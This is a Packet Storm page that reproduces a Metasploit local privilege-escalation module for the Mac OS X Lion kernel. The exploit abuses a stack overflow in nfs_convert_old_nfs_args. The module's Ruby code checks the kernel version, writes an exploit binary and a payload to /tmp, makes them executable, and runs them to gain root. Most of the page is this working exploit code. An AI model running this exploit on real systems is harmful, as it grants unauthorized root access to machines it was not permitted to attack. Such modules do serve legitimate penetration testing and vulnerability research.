what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mac OS X NFS Mount Privilege Escalation

Mac OS X NFS Mount Privilege Escalation
Posted Apr 25, 2014
Authored by joev, Kenzley Alphonse | Site metasploit.com

This exploit leverage a stack overflow vulnerability to escalate privileges. The vulnerable function nfs_convert_old_nfs_args does not verify the size of a user-provided argument before copying it to the stack. As a result by passing a large size, a local user can overwrite the stack with arbitrary content. Mac OS X Lion Kernel versions equal to and below xnu-1699.32.7 except xnu-1699.24.8 are affected.

tags | exploit, overflow, arbitrary, kernel, local
systems | apple, osx
SHA-256 | 7dda844fc6c2159587750ff9bbb7d5956502e05e69840baeb969d48120b1443f

Mac OS X NFS Mount Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
'Description' => %q{
This exploit leverage a stack overflow vulnerability to escalate privileges.
The vulnerable function nfs_convert_old_nfs_args does not verify the size
of a user-provided argument before copying it to the stack. As a result by
passing a large size, a local user can overwrite the stack with arbitrary
content.

Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kenzley Alphonse', # discovery and a very well-written exploit
'joev' # msf module
],
'References' =>
[
[ 'EDB', '32813' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 11 2014'
))
end

def check
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
exploit = File.read(file)
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

print_status "Writing temp file... #{tmpfile}"
write_file(tmpfile, exploit)
register_file_for_cleanup(tmpfile)

print_status "Writing payload file... #{payloadfile}"
write_file(payloadfile, pload)
register_file_for_cleanup(payloadfile)

print_status "Executing payload..."
cmd_exec("chmod +x #{tmpfile}")
cmd_exec("chmod +x #{payloadfile}")
cmd_exec("#{tmpfile} #{payloadfile}")
end

def xnu_ver
m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
m && m[1]
end

def ver_lt(a, b)
Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close